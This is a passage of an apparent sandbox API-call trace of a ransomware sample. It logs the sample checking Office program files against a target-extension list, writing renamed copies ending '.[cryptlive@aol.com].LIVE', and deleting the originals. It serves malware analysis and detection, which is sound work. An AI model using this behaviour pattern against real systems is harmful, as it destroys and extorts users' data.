(lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0149.500] lstrlenW (lpString=".dbf") returned 4 [0149.500] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0149.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0149.500] lstrlenW (lpString=".1cd") returned 4 [0149.500] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0149.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0149.500] lstrlenW (lpString=".jpg") returned 4 [0149.500] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0149.500] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.500] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0149.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.506] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=744888) returned 1 [0149.507] CloseHandle (hObject=0x380) returned 1 [0149.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll")) returned 0x20 [0149.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0149.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0149.510] lstrlenW (lpString=".doc") returned 4 [0149.510] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.510] lstrlenW (lpString=".docx") returned 5 [0149.510] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0149.510] lstrlenW (lpString=".pdf") returned 4 [0149.510] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.510] lstrlenW (lpString=".xls") returned 4 [0149.510] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.510] lstrlenW (lpString=".xlsx") returned 5 [0149.510] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0149.510] lstrlenW (lpString=".ppt") returned 4 [0149.510] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0149.510] lstrlenW (lpString=".zip") returned 4 [0149.510] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.510] lstrlenW (lpString=".rar") returned 4 [0149.510] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.510] lstrlenW (lpString=".bz2") returned 4 [0149.510] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.510] lstrlenW (lpString=".7z") returned 3 [0149.511] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0149.511] lstrlenW (lpString=".dbf") returned 4 [0149.511] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.884] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.884] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0149.885] GetLastError () returned 0x0 [0149.885] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x33e, lpOverlapped=0x0) returned 1 [0149.910] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x340, lpOverlapped=0x0) returned 1 [0149.911] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.912] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0149.912] SetEndOfFile (hFile=0x3b4) returned 1 [0149.912] CloseHandle (hObject=0x3b4) returned 1 [0149.912] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.912] SetEndOfFile (hFile=0x3a8) returned 1 [0149.915] CloseHandle (hObject=0x3a8) returned 1 [0149.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf")) returned 1 [0149.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0149.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0149.923] lstrlenW (lpString=".doc") returned 4 [0149.923] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0149.923] lstrlenW (lpString=".docx") returned 5 [0149.923] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0149.923] lstrlenW (lpString=".pdf") returned 4 [0149.923] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0149.923] lstrlenW (lpString=".xls") returned 4 [0149.923] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0149.923] lstrlenW (lpString=".xlsx") returned 5 [0149.923] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0149.923] lstrlenW (lpString=".ppt") returned 4 [0149.924] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0149.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0149.924] lstrlenW (lpString=".zip") returned 4 [0149.924] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0149.924] lstrlenW (lpString=".rar") returned 4 [0149.924] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0149.924] lstrlenW (lpString=".bz2") returned 4 [0149.924] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0149.924] lstrlenW (lpString=".7z") returned 3 [0149.924] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0149.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0149.924] lstrlenW (lpString=".dbf") returned 4 [0149.924] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0149.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0149.924] lstrlenW (lpString=".1cd") returned 4 [0149.924] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0149.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0149.924] lstrlenW (lpString=".jpg") returned 4 [0149.924] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0149.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0149.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0149.924] lstrlenW (lpString=".doc") returned 4 [0149.924] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0149.924] lstrlenW (lpString=".docx") returned 5 [0149.924] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0149.924] lstrlenW (lpString=".pdf") returned 4 [0149.924] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0149.924] lstrlenW (lpString=".xls") returned 4 [0149.924] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0149.924] lstrlenW (lpString=".xlsx") returned 5 [0149.924] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0149.924] lstrlenW (lpString=".ppt") returned 4 [0149.924] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0149.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0149.924] lstrlenW (lpString=".zip") returned 4 [0149.924] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0149.924] lstrlenW (lpString=".rar") returned 4 [0149.925] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0149.925] lstrlenW (lpString=".bz2") returned 4 [0149.925] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0149.925] lstrlenW (lpString=".7z") returned 3 [0149.925] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0149.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0149.925] lstrlenW (lpString=".dbf") returned 4 [0149.925] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0149.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0149.925] lstrlenW (lpString=".1cd") returned 4 [0149.925] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0149.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0149.925] lstrlenW (lpString=".jpg") returned 4 [0149.925] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0149.925] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.925] lstrlenW (lpString="AUTHZAX.DLL") returned 11 [0149.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.926] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=69000) returned 1 [0149.926] CloseHandle (hObject=0x39c) returned 1 [0149.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll")) returned 0x20 [0149.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0149.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0149.926] lstrlenW (lpString=".doc") returned 4 [0149.926] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.926] lstrlenW (lpString=".docx") returned 5 [0149.926] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0149.926] lstrlenW (lpString=".pdf") returned 4 [0149.927] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.927] lstrlenW (lpString=".xls") returned 4 [0149.927] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.927] lstrlenW (lpString=".xlsx") returned 5 [0149.927] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0149.927] lstrlenW (lpString=".ppt") returned 4 [0149.927] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0149.927] lstrlenW (lpString=".zip") returned 4 [0149.927] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.927] lstrlenW (lpString=".rar") returned 4 [0149.927] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.927] lstrlenW (lpString=".bz2") returned 4 [0149.927] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.927] lstrlenW (lpString=".7z") returned 3 [0149.927] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0149.927] lstrlenW (lpString=".dbf") returned 4 [0149.927] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0149.927] lstrlenW (lpString=".1cd") returned 4 [0149.927] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0149.927] lstrlenW (lpString=".jpg") returned 4 [0149.927] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0149.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0149.927] lstrlenW (lpString=".doc") returned 4 [0149.927] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.927] lstrlenW (lpString=".docx") returned 5 [0149.927] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0149.927] lstrlenW (lpString=".pdf") returned 4 [0149.928] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.928] lstrlenW (lpString=".xls") returned 4 [0149.928] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.928] lstrlenW (lpString=".xlsx") returned 5 [0149.928] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0149.928] lstrlenW (lpString=".ppt") returned 4 [0149.928] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0149.928] lstrlenW (lpString=".zip") returned 4 [0149.928] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.928] lstrlenW (lpString=".rar") returned 4 [0149.928] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.928] lstrlenW (lpString=".bz2") returned 4 [0149.928] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.928] lstrlenW (lpString=".7z") returned 3 [0149.928] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0149.928] lstrlenW (lpString=".dbf") returned 4 [0149.928] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0149.928] lstrlenW (lpString=".1cd") returned 4 [0149.928] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0149.928] lstrlenW (lpString=".jpg") returned 4 [0149.928] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.928] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0149.928] lstrlenW (lpString="BCSAutogen.dll") returned 14 [0149.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.929] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=50048) returned 1 [0149.929] CloseHandle (hObject=0x39c) returned 1 [0149.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll")) returned 0x20 [0149.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0149.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0149.929] lstrlenW (lpString=".doc") returned 4 [0149.929] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.929] lstrlenW (lpString=".docx") returned 5 [0149.929] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0149.929] lstrlenW (lpString=".pdf") returned 4 [0149.929] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.929] lstrlenW (lpString=".xls") returned 4 [0149.930] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.930] lstrlenW (lpString=".xlsx") returned 5 [0149.930] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0149.930] lstrlenW (lpString=".ppt") returned 4 [0149.930] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0149.930] lstrlenW (lpString=".zip") returned 4 [0149.930] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.930] lstrlenW (lpString=".rar") returned 4 [0149.930] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.930] lstrlenW (lpString=".bz2") returned 4 [0149.930] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.930] lstrlenW (lpString=".7z") returned 3 [0149.930] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0149.930] lstrlenW (lpString=".dbf") returned 4 [0149.930] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0149.930] lstrlenW (lpString=".1cd") returned 4 [0149.930] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0149.930] lstrlenW (lpString=".jpg") returned 4 [0149.930] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0149.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0149.930] lstrlenW (lpString=".doc") returned 4 [0149.930] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.930] lstrlenW (lpString=".docx") returned 5 [0149.930] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0149.930] lstrlenW (lpString=".pdf") returned 4 [0149.930] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.930] lstrlenW (lpString=".xls") returned 4 [0149.930] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.930] lstrlenW (lpString=".xlsx") returned 5 [0149.930] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0149.930] lstrlenW (lpString=".ppt") returned 4 [0149.930] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0149.931] lstrlenW (lpString=".zip") returned 4 [0149.931] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.931] lstrlenW (lpString=".rar") returned 4 [0149.931] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.931] lstrlenW (lpString=".bz2") returned 4 [0149.931] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.931] lstrlenW (lpString=".7z") returned 3 [0149.931] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0149.931] lstrlenW (lpString=".dbf") returned 4 [0149.931] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0149.931] lstrlenW (lpString=".1cd") returned 4 [0149.931] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0149.931] lstrlenW (lpString=".jpg") returned 4 [0149.931] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.931] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0149.931] lstrlenW (lpString="BCSClient.Msg.dll") returned 17 [0149.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.932] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=39776) returned 1 [0149.932] CloseHandle (hObject=0x39c) returned 1 [0149.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll")) returned 0x20 [0149.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0149.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0149.932] lstrlenW (lpString=".doc") returned 4 [0149.932] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.932] lstrlenW (lpString=".docx") returned 5 [0149.932] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0149.932] lstrlenW (lpString=".pdf") returned 4 [0149.932] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.932] lstrlenW (lpString=".xls") returned 4 [0149.932] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.932] lstrlenW (lpString=".xlsx") returned 5 [0149.932] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0149.932] lstrlenW (lpString=".ppt") returned 4 [0149.932] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0149.932] lstrlenW (lpString=".zip") returned 4 [0149.933] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.933] lstrlenW (lpString=".rar") returned 4 [0149.933] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.933] lstrlenW (lpString=".bz2") returned 4 [0149.933] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.933] lstrlenW (lpString=".7z") returned 3 [0149.933] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0149.933] lstrlenW (lpString=".dbf") returned 4 [0149.933] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0149.933] lstrlenW (lpString=".1cd") returned 4 [0149.933] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0149.933] lstrlenW (lpString=".jpg") returned 4 [0149.933] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0149.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0149.933] lstrlenW (lpString=".doc") returned 4 [0149.933] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.933] lstrlenW (lpString=".docx") returned 5 [0149.933] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0149.933] lstrlenW (lpString=".pdf") returned 4 [0149.933] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.933] lstrlenW (lpString=".xls") returned 4 [0149.933] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.933] lstrlenW (lpString=".xlsx") returned 5 [0149.933] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0149.933] lstrlenW (lpString=".ppt") returned 4 [0149.933] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.933] lstrlenW 